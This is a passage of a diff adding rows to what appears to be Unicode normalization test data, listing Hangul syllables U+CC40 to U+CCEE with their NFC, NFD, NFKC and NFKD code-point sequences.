+{ source: [0xCC40], NFC: [0xCC40], NFD: [0x110E, 0x1161, 0x11BF], NFKC: [0xCC40], NFKD: [0x110E, 0x1161, 0x11BF] },
+{ source: [0xCC41], NFC: [0xCC41], NFD: [0x110E, 0x1161, 0x11C0], NFKC: [0xCC41], NFKD: [0x110E, 0x1161, 0x11C0] },
+{ source: [0xCC42], NFC: [0xCC42], NFD: [0x110E, 0x1161, 0x11C1], NFKC: [0xCC42], NFKD: [0x110E, 0x1161, 0x11C1] },
+{ source: [0xCC43], NFC: [0xCC43], NFD: [0x110E, 0x1161, 0x11C2], NFKC: [0xCC43], NFKD: [0x110E, 0x1161, 0x11C2] },
+{ source: [0xCC44], NFC: [0xCC44], NFD: [0x110E, 0x1162], NFKC: [0xCC44], NFKD: [0x110E, 0x1162] },
+{ source: [0xCC45], NFC: [0xCC45], NFD: [0x110E, 0x1162, 0x11A8], NFKC: [0xCC45], NFKD: [0x110E, 0x1162, 0x11A8] },
+{ source: [0xCC46], NFC: [0xCC46], NFD: [0x110E, 0x1162, 0x11A9], NFKC: [0xCC46], NFKD: [0x110E, 0x1162, 0x11A9] },
+{ source: [0xCC47], NFC: [0xCC47], NFD: [0x110E, 0x1162, 0x11AA], NFKC: [0xCC47], NFKD: [0x110E, 0x1162, 0x11AA] },
+{ source: [0xCC48], NFC: [0xCC48], NFD: [0x110E, 0x1162, 0x11AB], NFKC: [0xCC48], NFKD: [0x110E, 0x1162, 0x11AB] },
+{ source: [0xCC49], NFC: [0xCC49], NFD: [0x110E, 0x1162, 0x11AC], NFKC: [0xCC49], NFKD: [0x110E, 0x1162, 0x11AC] },
+{ source: [0xCC4A], NFC: [0xCC4A], NFD: [0x110E, 0x1162, 0x11AD], NFKC: [0xCC4A], NFKD: [0x110E, 0x1162, 0x11AD] },
+{ source: [0xCC4B], NFC: [0xCC4B], NFD: [0x110E, 0x1162, 0x11AE], NFKC: [0xCC4B], NFKD: [0x110E, 0x1162, 0x11AE] },
+{ source: [0xCC4C], NFC: [0xCC4C], NFD: [0x110E, 0x1162, 0x11AF], NFKC: [0xCC4C], NFKD: [0x110E, 0x1162, 0x11AF] },
+{ source: [0xCC4D], NFC: [0xCC4D], NFD: [0x110E, 0x1162, 0x11B0], NFKC: [0xCC4D], NFKD: [0x110E, 0x1162, 0x11B0] },
+{ source: [0xCC4E], NFC: [0xCC4E], NFD: [0x110E, 0x1162, 0x11B1], NFKC: [0xCC4E], NFKD: [0x110E, 0x1162, 0x11B1] },
+{ source: [0xCC4F], NFC: [0xCC4F], NFD: [0x110E, 0x1162, 0x11B2], NFKC: [0xCC4F], NFKD: [0x110E, 0x1162, 0x11B2] },
+{ source: [0xCC50], NFC: [0xCC50], NFD: [0x110E, 0x1162, 0x11B3], NFKC: [0xCC50], NFKD: [0x110E, 0x1162, 0x11B3] },
+{ source: [0xCC51], NFC: [0xCC51], NFD: [0x110E, 0x1162, 0x11B4], NFKC: [0xCC51], NFKD: [0x110E, 0x1162, 0x11B4] },
+{ source: [0xCC52], NFC: [0xCC52], NFD: [0x110E, 0x1162, 0x11B5], NFKC: [0xCC52], NFKD: [0x110E, 0x1162, 0x11B5] },
+{ source: [0xCC53], NFC: [0xCC53], NFD: [0x110E, 0x1162, 0x11B6], NFKC: [0xCC53], NFKD: [0x110E, 0x1162, 0x11B6] },
+{ source: [0xCC54], NFC: [0xCC54], NFD: [0x110E, 0x1162, 0x11B7], NFKC: [0xCC54], NFKD: [0x110E, 0x1162, 0x11B7] },
+{ source: [0xCC55], NFC: [0xCC55], NFD: [0x110E, 0x1162, 0x11B8], NFKC: [0xCC55], NFKD: [0x110E, 0x1162, 0x11B8] },
+{ source: [0xCC56], NFC: [0xCC56], NFD: [0x110E, 0x1162, 0x11B9], NFKC: [0xCC56], NFKD: [0x110E, 0x1162, 0x11B9] },
+{ source: [0xCC57], NFC: [0xCC57], NFD: [0x110E, 0x1162, 0x11BA], NFKC: [0xCC57], NFKD: [0x110E, 0x1162, 0x11BA] },
+{ source: [0xCC58], NFC: [0xCC58], NFD: [0x110E, 0x1162, 0x11BB], NFKC: [0xCC58], NFKD: [0x110E, 0x1162, 0x11BB] },
+{ source: [0xCC59], NFC: [0xCC59], NFD: [0x110E, 0x1162, 0x11BC], NFKC: [0xCC59], NFKD: [0x110E, 0x1162, 0x11BC] },
+{ source: [0xCC5A], NFC: [0xCC5A], NFD: [0x110E, 0x1162, 0x11BD], NFKC: [0xCC5A], NFKD: [0x110E, 0x1162, 0x11BD] },
+{ source: [0xCC5B], NFC: [0xCC5B], NFD: [0x110E, 0x1162, 0x11BE], NFKC: [0xCC5B], NFKD: [0x110E, 0x1162, 0x11BE] },
+{ source: [0xCC5C], NFC: [0xCC5C], NFD: [0x110E, 0x1162, 0x11BF], NFKC: [0xCC5C], NFKD: [0x110E, 0x1162, 0x11BF] },
+{ source: [0xCC5D], NFC: [0xCC5D], NFD: [0x110E, 0x1162, 0x11C0], NFKC: [0xCC5D], NFKD: [0x110E, 0x1162, 0x11C0] },
+{ source: [0xCC5E], NFC: [0xCC5E], NFD: [0x110E, 0x1162, 0x11C1], NFKC: [0xCC5E], NFKD: [0x110E, 0x1162, 0x11C1] },
+{ source: [0xCC5F], NFC: [0xCC5F], NFD: [0x110E, 0x1162, 0x11C2], NFKC: [0xCC5F], NFKD: [0x110E, 0x1162, 0x11C2] },
+{ source: [0xCC60], NFC: [0xCC60], NFD: [0x110E, 0x1163], NFKC: [0xCC60], NFKD: [0x110E, 0x1163] },
+{ source: [0xCC61], NFC: [0xCC61], NFD: [0x110E, 0x1163, 0x11A8], NFKC: [0xCC61], NFKD: [0x110E, 0x1163, 0x11A8] },
+{ source: [0xCC62], NFC: [0xCC62], NFD: [0x110E, 0x1163, 0x11A9], NFKC: [0xCC62], NFKD: [0x110E, 0x1163, 0x11A9] },
+{ source: [0xCC63], NFC: [0xCC63], NFD: [0x110E, 0x1163, 0x11AA], NFKC: [0xCC63], NFKD: [0x110E, 0x1163, 0x11AA] },
+{ source: [0xCC64], NFC: [0xCC64], NFD: [0x110E, 0x1163, 0x11AB], NFKC: [0xCC64], NFKD: [0x110E, 0x1163, 0x11AB] },
+{ source: [0xCC65], NFC: [0xCC65], NFD: [0x110E, 0x1163, 0x11AC], NFKC: [0xCC65], NFKD: [0x110E, 0x1163, 0x11AC] },
+{ source: [0xCC66], NFC: [0xCC66], NFD: [0x110E, 0x1163, 0x11AD], NFKC: [0xCC66], NFKD: [0x110E, 0x1163, 0x11AD] },
+{ source: [0xCC67], NFC: [0xCC67], NFD: [0x110E, 0x1163, 0x11AE], NFKC: [0xCC67], NFKD: [0x110E, 0x1163, 0x11AE] },
+{ source: [0xCC68], NFC: [0xCC68], NFD: [0x110E, 0x1163, 0x11AF], NFKC: [0xCC68], NFKD: [0x110E, 0x1163, 0x11AF] },
+{ source: [0xCC69], NFC: [0xCC69], NFD: [0x110E, 0x1163, 0x11B0], NFKC: [0xCC69], NFKD: [0x110E, 0x1163, 0x11B0] },
+{ source: [0xCC6A], NFC: [0xCC6A], NFD: [0x110E, 0x1163, 0x11B1], NFKC: [0xCC6A], NFKD: [0x110E, 0x1163, 0x11B1] },
+{ source: [0xCC6B], NFC: [0xCC6B], NFD: [0x110E, 0x1163, 0x11B2], NFKC: [0xCC6B], NFKD: [0x110E, 0x1163, 0x11B2] },
+{ source: [0xCC6C], NFC: [0xCC6C], NFD: [0x110E, 0x1163, 0x11B3], NFKC: [0xCC6C], NFKD: [0x110E, 0x1163, 0x11B3] },
+{ source: [0xCC6D], NFC: [0xCC6D], NFD: [0x110E, 0x1163, 0x11B4], NFKC: [0xCC6D], NFKD: [0x110E, 0x1163, 0x11B4] },
+{ source: [0xCC6E], NFC: [0xCC6E], NFD: [0x110E, 0x1163, 0x11B5], NFKC: [0xCC6E], NFKD: [0x110E, 0x1163, 0x11B5] },
+{ source: [0xCC6F], NFC: [0xCC6F], NFD: [0x110E, 0x1163, 0x11B6], NFKC: [0xCC6F], NFKD: [0x110E, 0x1163, 0x11B6] },
+{ source: [0xCC70], NFC: [0xCC70], NFD: [0x110E, 0x1163, 0x11B7], NFKC: [0xCC70], NFKD: [0x110E, 0x1163, 0x11B7] },
+{ source: [0xCC71], NFC: [0xCC71], NFD: [0x110E, 0x1163, 0x11B8], NFKC: [0xCC71], NFKD: [0x110E, 0x1163, 0x11B8] },
+{ source: [0xCC72], NFC: [0xCC72], NFD: [0x110E, 0x1163, 0x11B9], NFKC: [0xCC72], NFKD: [0x110E, 0x1163, 0x11B9] },
+{ source: [0xCC73], NFC: [0xCC73], NFD: [0x110E, 0x1163, 0x11BA], NFKC: [0xCC73], NFKD: [0x110E, 0x1163, 0x11BA] },
+{ source: [0xCC74], NFC: [0xCC74], NFD: [0x110E, 0x1163, 0x11BB], NFKC: [0xCC74], NFKD: [0x110E, 0x1163, 0x11BB] },
+{ source: [0xCC75], NFC: [0xCC75], NFD: [0x110E, 0x1163, 0x11BC], NFKC: [0xCC75], NFKD: [0x110E, 0x1163, 0x11BC] },
+{ source: [0xCC76], NFC: [0xCC76], NFD: [0x110E, 0x1163, 0x11BD], NFKC: [0xCC76], NFKD: [0x110E, 0x1163, 0x11BD] },
+{ source: [0xCC77], NFC: [0xCC77], NFD: [0x110E, 0x1163, 0x11BE], NFKC: [0xCC77], NFKD: [0x110E, 0x1163, 0x11BE] },
+{ source: [0xCC78], NFC: [0xCC78], NFD: [0x110E, 0x1163, 0x11BF], NFKC: [0xCC78], NFKD: [0x110E, 0x1163, 0x11BF] },
+{ source: [0xCC79], NFC: [0xCC79], NFD: [0x110E, 0x1163, 0x11C0], NFKC: [0xCC79], NFKD: [0x110E, 0x1163, 0x11C0] },
+{ source: [0xCC7A], NFC: [0xCC7A], NFD: [0x110E, 0x1163, 0x11C1], NFKC: [0xCC7A], NFKD: [0x110E, 0x1163, 0x11C1] },
+{ source: [0xCC7B], NFC: [0xCC7B], NFD: [0x110E, 0x1163, 0x11C2], NFKC: [0xCC7B], NFKD: [0x110E, 0x1163, 0x11C2] },
+{ source: [0xCC7C], NFC: [0xCC7C], NFD: [0x110E, 0x1164], NFKC: [0xCC7C], NFKD: [0x110E, 0x1164] },
+{ source: [0xCC7D], NFC: [0xCC7D], NFD: [0x110E, 0x1164, 0x11A8], NFKC: [0xCC7D], NFKD: [0x110E, 0x1164, 0x11A8] },
+{ source: [0xCC7E], NFC: [0xCC7E], NFD: [0x110E, 0x1164, 0x11A9], NFKC: [0xCC7E], NFKD: [0x110E, 0x1164, 0x11A9] },
+{ source: [0xCC7F], NFC: [0xCC7F], NFD: [0x110E, 0x1164, 0x11AA], NFKC: [0xCC7F], NFKD: [0x110E, 0x1164, 0x11AA] },
+{ source: [0xCC80], NFC: [0xCC80], NFD: [0x110E, 0x1164, 0x11AB], NFKC: [0xCC80], NFKD: [0x110E, 0x1164, 0x11AB] },
+{ source: [0xCC81], NFC: [0xCC81], NFD: [0x110E, 0x1164, 0x11AC], NFKC: [0xCC81], NFKD: [0x110E, 0x1164, 0x11AC] },
+{ source: [0xCC82], NFC: [0xCC82], NFD: [0x110E, 0x1164, 0x11AD], NFKC: [0xCC82], NFKD: [0x110E, 0x1164, 0x11AD] },
+{ source: [0xCC83], NFC: [0xCC83], NFD: [0x110E, 0x1164, 0x11AE], NFKC: [0xCC83], NFKD: [0x110E, 0x1164, 0x11AE] },
+{ source: [0xCC84], NFC: [0xCC84], NFD: [0x110E, 0x1164, 0x11AF], NFKC: [0xCC84], NFKD: [0x110E, 0x1164, 0x11AF] },
+{ source: [0xCC85], NFC: [0xCC85], NFD: [0x110E, 0x1164, 0x11B0], NFKC: [0xCC85], NFKD: [0x110E, 0x1164, 0x11B0] },
+{ source: [0xCC86], NFC: [0xCC86], NFD: [0x110E, 0x1164, 0x11B1], NFKC: [0xCC86], NFKD: [0x110E, 0x1164, 0x11B1] },
+{ source: [0xCC87], NFC: [0xCC87], NFD: [0x110E, 0x1164, 0x11B2], NFKC: [0xCC87], NFKD: [0x110E, 0x1164, 0x11B2] },
+{ source: [0xCC88], NFC: [0xCC88], NFD: [0x110E, 0x1164, 0x11B3], NFKC: [0xCC88], NFKD: [0x110E, 0x1164, 0x11B3] },
+{ source: [0xCC89], NFC: [0xCC89], NFD: [0x110E, 0x1164, 0x11B4], NFKC: [0xCC89], NFKD: [0x110E, 0x1164, 0x11B4] },
+{ source: [0xCC8A], NFC: [0xCC8A], NFD: [0x110E, 0x1164, 0x11B5], NFKC: [0xCC8A], NFKD: [0x110E, 0x1164, 0x11B5] },
+{ source: [0xCC8B], NFC: [0xCC8B], NFD: [0x110E, 0x1164, 0x11B6], NFKC: [0xCC8B], NFKD: [0x110E, 0x1164, 0x11B6] },
+{ source: [0xCC8C], NFC: [0xCC8C], NFD: [0x110E, 0x1164, 0x11B7], NFKC: [0xCC8C], NFKD: [0x110E, 0x1164, 0x11B7] },
+{ source: [0xCC8D], NFC: [0xCC8D], NFD: [0x110E, 0x1164, 0x11B8], NFKC: [0xCC8D], NFKD: [0x110E, 0x1164, 0x11B8] },
+{ source: [0xCC8E], NFC: [0xCC8E], NFD: [0x110E, 0x1164, 0x11B9], NFKC: [0xCC8E], NFKD: [0x110E, 0x1164, 0x11B9] },
+{ source: [0xCC8F], NFC: [0xCC8F], NFD: [0x110E, 0x1164, 0x11BA], NFKC: [0xCC8F], NFKD: [0x110E, 0x1164, 0x11BA] },
+{ source: [0xCC90], NFC: [0xCC90], NFD: [0x110E, 0x1164, 0x11BB], NFKC: [0xCC90], NFKD: [0x110E, 0x1164, 0x11BB] },
+{ source: [0xCC91], NFC: [0xCC91], NFD: [0x110E, 0x1164, 0x11BC], NFKC: [0xCC91], NFKD: [0x110E, 0x1164, 0x11BC] },
+{ source: [0xCC92], NFC: [0xCC92], NFD: [0x110E, 0x1164, 0x11BD], NFKC: [0xCC92], NFKD: [0x110E, 0x1164, 0x11BD] },
+{ source: [0xCC93], NFC: [0xCC93], NFD: [0x110E, 0x1164, 0x11BE], NFKC: [0xCC93], NFKD: [0x110E, 0x1164, 0x11BE] },
+{ source: [0xCC94], NFC: [0xCC94], NFD: [0x110E, 0x1164, 0x11BF], NFKC: [0xCC94], NFKD: [0x110E, 0x1164, 0x11BF] },
+{ source: [0xCC95], NFC: [0xCC95], NFD: [0x110E, 0x1164, 0x11C0], NFKC: [0xCC95], NFKD: [0x110E, 0x1164, 0x11C0] },
+{ source: [0xCC96], NFC: [0xCC96], NFD: [0x110E, 0x1164, 0x11C1], NFKC: [0xCC96], NFKD: [0x110E, 0x1164, 0x11C1] },
+{ source: [0xCC97], NFC: [0xCC97], NFD: [0x110E, 0x1164, 0x11C2], NFKC: [0xCC97], NFKD: [0x110E, 0x1164, 0x11C2] },
+{ source: [0xCC98], NFC: [0xCC98], NFD: [0x110E, 0x1165], NFKC: [0xCC98], NFKD: [0x110E, 0x1165] },
+{ source: [0xCC99], NFC: [0xCC99], NFD: [0x110E, 0x1165, 0x11A8], NFKC: [0xCC99], NFKD: [0x110E, 0x1165, 0x11A8] },
+{ source: [0xCC9A], NFC: [0xCC9A], NFD: [0x110E, 0x1165, 0x11A9], NFKC: [0xCC9A], NFKD: [0x110E, 0x1165, 0x11A9] },
+{ source: [0xCC9B], NFC: [0xCC9B], NFD: [0x110E, 0x1165, 0x11AA], NFKC: [0xCC9B], NFKD: [0x110E, 0x1165, 0x11AA] },
+{ source: [0xCC9C], NFC: [0xCC9C], NFD: [0x110E, 0x1165, 0x11AB], NFKC: [0xCC9C], NFKD: [0x110E, 0x1165, 0x11AB] },
+{ source: [0xCC9D], NFC: [0xCC9D], NFD: [0x110E, 0x1165, 0x11AC], NFKC: [0xCC9D], NFKD: [0x110E, 0x1165, 0x11AC] },
+{ source: [0xCC9E], NFC: [0xCC9E], NFD: [0x110E, 0x1165, 0x11AD], NFKC: [0xCC9E], NFKD: [0x110E, 0x1165, 0x11AD] },
+{ source: [0xCC9F], NFC: [0xCC9F], NFD: [0x110E, 0x1165, 0x11AE], NFKC: [0xCC9F], NFKD: [0x110E, 0x1165, 0x11AE] },
+{ source: [0xCCA0], NFC: [0xCCA0], NFD: [0x110E, 0x1165, 0x11AF], NFKC: [0xCCA0], NFKD: [0x110E, 0x1165, 0x11AF] },
+{ source: [0xCCA1], NFC: [0xCCA1], NFD: [0x110E, 0x1165, 0x11B0], NFKC: [0xCCA1], NFKD: [0x110E, 0x1165, 0x11B0] },
+{ source: [0xCCA2], NFC: [0xCCA2], NFD: [0x110E, 0x1165, 0x11B1], NFKC: [0xCCA2], NFKD: [0x110E, 0x1165, 0x11B1] },
+{ source: [0xCCA3], NFC: [0xCCA3], NFD: [0x110E, 0x1165, 0x11B2], NFKC: [0xCCA3], NFKD: [0x110E, 0x1165, 0x11B2] },
+{ source: [0xCCA4], NFC: [0xCCA4], NFD: [0x110E, 0x1165, 0x11B3], NFKC: [0xCCA4], NFKD: [0x110E, 0x1165, 0x11B3] },
+{ source: [0xCCA5], NFC: [0xCCA5], NFD: [0x110E, 0x1165, 0x11B4], NFKC: [0xCCA5], NFKD: [0x110E, 0x1165, 0x11B4] },
+{ source: [0xCCA6], NFC: [0xCCA6], NFD: [0x110E, 0x1165, 0x11B5], NFKC: [0xCCA6], NFKD: [0x110E, 0x1165, 0x11B5] },
+{ source: [0xCCA7], NFC: [0xCCA7], NFD: [0x110E, 0x1165, 0x11B6], NFKC: [0xCCA7], NFKD: [0x110E, 0x1165, 0x11B6] },
+{ source: [0xCCA8], NFC: [0xCCA8], NFD: [0x110E, 0x1165, 0x11B7], NFKC: [0xCCA8], NFKD: [0x110E, 0x1165, 0x11B7] },
+{ source: [0xCCA9], NFC: [0xCCA9], NFD: [0x110E, 0x1165, 0x11B8], NFKC: [0xCCA9], NFKD: [0x110E, 0x1165, 0x11B8] },
+{ source: [0xCCAA], NFC: [0xCCAA], NFD: [0x110E, 0x1165, 0x11B9], NFKC: [0xCCAA], NFKD: [0x110E, 0x1165, 0x11B9] },
+{ source: [0xCCAB], NFC: [0xCCAB], NFD: [0x110E, 0x1165, 0x11BA], NFKC: [0xCCAB], NFKD: [0x110E, 0x1165, 0x11BA] },
+{ source: [0xCCAC], NFC: [0xCCAC], NFD: [0x110E, 0x1165, 0x11BB], NFKC: [0xCCAC], NFKD: [0x110E, 0x1165, 0x11BB] },
+{ source: [0xCCAD], NFC: [0xCCAD], NFD: [0x110E, 0x1165, 0x11BC], NFKC: [0xCCAD], NFKD: [0x110E, 0x1165, 0x11BC] },
+{ source: [0xCCAE], NFC: [0xCCAE], NFD: [0x110E, 0x1165, 0x11BD], NFKC: [0xCCAE], NFKD: [0x110E, 0x1165, 0x11BD] },
+{ source: [0xCCAF], NFC: [0xCCAF], NFD: [0x110E, 0x1165, 0x11BE], NFKC: [0xCCAF], NFKD: [0x110E, 0x1165, 0x11BE] },
+{ source: [0xCCB0], NFC: [0xCCB0], NFD: [0x110E, 0x1165, 0x11BF], NFKC: [0xCCB0], NFKD: [0x110E, 0x1165, 0x11BF] },
+{ source: [0xCCB1], NFC: [0xCCB1], NFD: [0x110E, 0x1165, 0x11C0], NFKC: [0xCCB1], NFKD: [0x110E, 0x1165, 0x11C0] },
+{ source: [0xCCB2], NFC: [0xCCB2], NFD: [0x110E, 0x1165, 0x11C1], NFKC: [0xCCB2], NFKD: [0x110E, 0x1165, 0x11C1] },
+{ source: [0xCCB3], NFC: [0xCCB3], NFD: [0x110E, 0x1165, 0x11C2], NFKC: [0xCCB3], NFKD: [0x110E, 0x1165, 0x11C2] },
+{ source: [0xCCB4], NFC: [0xCCB4], NFD: [0x110E, 0x1166], NFKC: [0xCCB4], NFKD: [0x110E, 0x1166] },
+{ source: [0xCCB5], NFC: [0xCCB5], NFD: [0x110E, 0x1166, 0x11A8], NFKC: [0xCCB5], NFKD: [0x110E, 0x1166, 0x11A8] },
+{ source: [0xCCB6], NFC: [0xCCB6], NFD: [0x110E, 0x1166, 0x11A9], NFKC: [0xCCB6], NFKD: [0x110E, 0x1166, 0x11A9] },
+{ source: [0xCCB7], NFC: [0xCCB7], NFD: [0x110E, 0x1166, 0x11AA], NFKC: [0xCCB7], NFKD: [0x110E, 0x1166, 0x11AA] },
+{ source: [0xCCB8], NFC: [0xCCB8], NFD: [0x110E, 0x1166, 0x11AB], NFKC: [0xCCB8], NFKD: [0x110E, 0x1166, 0x11AB] },
+{ source: [0xCCB9], NFC: [0xCCB9], NFD: [0x110E, 0x1166, 0x11AC], NFKC: [0xCCB9], NFKD: [0x110E, 0x1166, 0x11AC] },
+{ source: [0xCCBA], NFC: [0xCCBA], NFD: [0x110E, 0x1166, 0x11AD], NFKC: [0xCCBA], NFKD: [0x110E, 0x1166, 0x11AD] },
+{ source: [0xCCBB], NFC: [0xCCBB], NFD: [0x110E, 0x1166, 0x11AE], NFKC: [0xCCBB], NFKD: [0x110E, 0x1166, 0x11AE] },
+{ source: [0xCCBC], NFC: [0xCCBC], NFD: [0x110E, 0x1166, 0x11AF], NFKC: [0xCCBC], NFKD: [0x110E, 0x1166, 0x11AF] },
+{ source: [0xCCBD], NFC: [0xCCBD], NFD: [0x110E, 0x1166, 0x11B0], NFKC: [0xCCBD], NFKD: [0x110E, 0x1166, 0x11B0] },
+{ source: [0xCCBE], NFC: [0xCCBE], NFD: [0x110E, 0x1166, 0x11B1], NFKC: [0xCCBE], NFKD: [0x110E, 0x1166, 0x11B1] },
+{ source: [0xCCBF], NFC: [0xCCBF], NFD: [0x110E, 0x1166, 0x11B2], NFKC: [0xCCBF], NFKD: [0x110E, 0x1166, 0x11B2] },
+{ source: [0xCCC0], NFC: [0xCCC0], NFD: [0x110E, 0x1166, 0x11B3], NFKC: [0xCCC0], NFKD: [0x110E, 0x1166, 0x11B3] },
+{ source: [0xCCC1], NFC: [0xCCC1], NFD: [0x110E, 0x1166, 0x11B4], NFKC: [0xCCC1], NFKD: [0x110E, 0x1166, 0x11B4] },
+{ source: [0xCCC2], NFC: [0xCCC2], NFD: [0x110E, 0x1166, 0x11B5], NFKC: [0xCCC2], NFKD: [0x110E, 0x1166, 0x11B5] },
+{ source: [0xCCC3], NFC: [0xCCC3], NFD: [0x110E, 0x1166, 0x11B6], NFKC: [0xCCC3], NFKD: [0x110E, 0x1166, 0x11B6] },
+{ source: [0xCCC4], NFC: [0xCCC4], NFD: [0x110E, 0x1166, 0x11B7], NFKC: [0xCCC4], NFKD: [0x110E, 0x1166, 0x11B7] },
+{ source: [0xCCC5], NFC: [0xCCC5], NFD: [0x110E, 0x1166, 0x11B8], NFKC: [0xCCC5], NFKD: [0x110E, 0x1166, 0x11B8] },
+{ source: [0xCCC6], NFC: [0xCCC6], NFD: [0x110E, 0x1166, 0x11B9], NFKC: [0xCCC6], NFKD: [0x110E, 0x1166, 0x11B9] },
+{ source: [0xCCC7], NFC: [0xCCC7], NFD: [0x110E, 0x1166, 0x11BA], NFKC: [0xCCC7], NFKD: [0x110E, 0x1166, 0x11BA] },
+{ source: [0xCCC8], NFC: [0xCCC8], NFD: [0x110E, 0x1166, 0x11BB], NFKC: [0xCCC8], NFKD: [0x110E, 0x1166, 0x11BB] },
+{ source: [0xCCC9], NFC: [0xCCC9], NFD: [0x110E, 0x1166, 0x11BC], NFKC: [0xCCC9], NFKD: [0x110E, 0x1166, 0x11BC] },
+{ source: [0xCCCA], NFC: [0xCCCA], NFD: [0x110E, 0x1166, 0x11BD], NFKC: [0xCCCA], NFKD: [0x110E, 0x1166, 0x11BD] },
+{ source: [0xCCCB], NFC: [0xCCCB], NFD: [0x110E, 0x1166, 0x11BE], NFKC: [0xCCCB], NFKD: [0x110E, 0x1166, 0x11BE] },
+{ source: [0xCCCC], NFC: [0xCCCC], NFD: [0x110E, 0x1166, 0x11BF], NFKC: [0xCCCC], NFKD: [0x110E, 0x1166, 0x11BF] },
+{ source: [0xCCCD], NFC: [0xCCCD], NFD: [0x110E, 0x1166, 0x11C0], NFKC: [0xCCCD], NFKD: [0x110E, 0x1166, 0x11C0] },
+{ source: [0xCCCE], NFC: [0xCCCE], NFD: [0x110E, 0x1166, 0x11C1], NFKC: [0xCCCE], NFKD: [0x110E, 0x1166, 0x11C1] },
+{ source: [0xCCCF], NFC: [0xCCCF], NFD: [0x110E, 0x1166, 0x11C2], NFKC: [0xCCCF], NFKD: [0x110E, 0x1166, 0x11C2] },
+{ source: [0xCCD0], NFC: [0xCCD0], NFD: [0x110E, 0x1167], NFKC: [0xCCD0], NFKD: [0x110E, 0x1167] },
+{ source: [0xCCD1], NFC: [0xCCD1], NFD: [0x110E, 0x1167, 0x11A8], NFKC: [0xCCD1], NFKD: [0x110E, 0x1167, 0x11A8] },
+{ source: [0xCCD2], NFC: [0xCCD2], NFD: [0x110E, 0x1167, 0x11A9], NFKC: [0xCCD2], NFKD: [0x110E, 0x1167, 0x11A9] },
+{ source: [0xCCD3], NFC: [0xCCD3], NFD: [0x110E, 0x1167, 0x11AA], NFKC: [0xCCD3], NFKD: [0x110E, 0x1167, 0x11AA] },
+{ source: [0xCCD4], NFC: [0xCCD4], NFD: [0x110E, 0x1167, 0x11AB], NFKC: [0xCCD4], NFKD: [0x110E, 0x1167, 0x11AB] },
+{ source: [0xCCD5], NFC: [0xCCD5], NFD: [0x110E, 0x1167, 0x11AC], NFKC: [0xCCD5], NFKD: [0x110E, 0x1167, 0x11AC] },
+{ source: [0xCCD6], NFC: [0xCCD6], NFD: [0x110E, 0x1167, 0x11AD], NFKC: [0xCCD6], NFKD: [0x110E, 0x1167, 0x11AD] },
+{ source: [0xCCD7], NFC: [0xCCD7], NFD: [0x110E, 0x1167, 0x11AE], NFKC: [0xCCD7], NFKD: [0x110E, 0x1167, 0x11AE] },
+{ source: [0xCCD8], NFC: [0xCCD8], NFD: [0x110E, 0x1167, 0x11AF], NFKC: [0xCCD8], NFKD: [0x110E, 0x1167, 0x11AF] },
+{ source: [0xCCD9], NFC: [0xCCD9], NFD: [0x110E, 0x1167, 0x11B0], NFKC: [0xCCD9], NFKD: [0x110E, 0x1167, 0x11B0] },
+{ source: [0xCCDA], NFC: [0xCCDA], NFD: [0x110E, 0x1167, 0x11B1], NFKC: [0xCCDA], NFKD: [0x110E, 0x1167, 0x11B1] },
+{ source: [0xCCDB], NFC: [0xCCDB], NFD: [0x110E, 0x1167, 0x11B2], NFKC: [0xCCDB], NFKD: [0x110E, 0x1167, 0x11B2] },
+{ source: [0xCCDC], NFC: [0xCCDC], NFD: [0x110E, 0x1167, 0x11B3], NFKC: [0xCCDC], NFKD: [0x110E, 0x1167, 0x11B3] },
+{ source: [0xCCDD], NFC: [0xCCDD], NFD: [0x110E, 0x1167, 0x11B4], NFKC: [0xCCDD], NFKD: [0x110E, 0x1167, 0x11B4] },
+{ source: [0xCCDE], NFC: [0xCCDE], NFD: [0x110E, 0x1167, 0x11B5], NFKC: [0xCCDE], NFKD: [0x110E, 0x1167, 0x11B5] },
+{ source: [0xCCDF], NFC: [0xCCDF], NFD: [0x110E, 0x1167, 0x11B6], NFKC: [0xCCDF], NFKD: [0x110E, 0x1167, 0x11B6] },
+{ source: [0xCCE0], NFC: [0xCCE0], NFD: [0x110E, 0x1167, 0x11B7], NFKC: [0xCCE0], NFKD: [0x110E, 0x1167, 0x11B7] },
+{ source: [0xCCE1], NFC: [0xCCE1], NFD: [0x110E, 0x1167, 0x11B8], NFKC: [0xCCE1], NFKD: [0x110E, 0x1167, 0x11B8] },
+{ source: [0xCCE2], NFC: [0xCCE2], NFD: [0x110E, 0x1167, 0x11B9], NFKC: [0xCCE2], NFKD: [0x110E, 0x1167, 0x11B9] },
+{ source: [0xCCE3], NFC: [0xCCE3], NFD: [0x110E, 0x1167, 0x11BA], NFKC: [0xCCE3], NFKD: [0x110E, 0x1167, 0x11BA] },
+{ source: [0xCCE4], NFC: [0xCCE4], NFD: [0x110E, 0x1167, 0x11BB], NFKC: [0xCCE4], NFKD: [0x110E, 0x1167, 0x11BB] },
+{ source: [0xCCE5], NFC: [0xCCE5], NFD: [0x110E, 0x1167, 0x11BC], NFKC: [0xCCE5], NFKD: [0x110E, 0x1167, 0x11BC] },
+{ source: [0xCCE6], NFC: [0xCCE6], NFD: [0x110E, 0x1167, 0x11BD], NFKC: [0xCCE6], NFKD: [0x110E, 0x1167, 0x11BD] },
+{ source: [0xCCE7], NFC: [0xCCE7], NFD: [0x110E, 0x1167, 0x11BE], NFKC: [0xCCE7], NFKD: [0x110E, 0x1167, 0x11BE] },
+{ source: [0xCCE8], NFC: [0xCCE8], NFD: [0x110E, 0x1167, 0x11BF], NFKC: [0xCCE8], NFKD: [0x110E, 0x1167, 0x11BF] },
+{ source: [0xCCE9], NFC: [0xCCE9], NFD: [0x110E, 0x1167, 0x11C0], NFKC: [0xCCE9], NFKD: [0x110E, 0x1167, 0x11C0] },
+{ source: [0xCCEA], NFC: [0xCCEA], NFD: [0x110E, 0x1167, 0x11C1], NFKC: [0xCCEA], NFKD: [0x110E, 0x1167, 0x11C1] },
+{ source: [0xCCEB], NFC: [0xCCEB], NFD: [0x110E, 0x1167, 0x11C2], NFKC: [0xCCEB], NFKD: [0x110E, 0x1167, 0x11C2] },
+{ source: [0xCCEC], NFC: [0xCCEC], NFD: [0x110E, 0x1168], NFKC: [0xCCEC], NFKD: [0x110E, 0x1168] },
+{ source: [0xCCED], NFC: [0xCCED], NFD: [0x110E, 0x1168, 0x11A8], NFKC: [0xCCED], NFKD: [0x110E, 0x1168, 0x11A8] },
+{ source: [0xCCEE], NFC: [0xCCEE], NFD: [0x110E, 0x1168, 0x11A9], NFKC: [0xCCEE], NFKD: [0x110E, 0x1168, 0x11A9] },
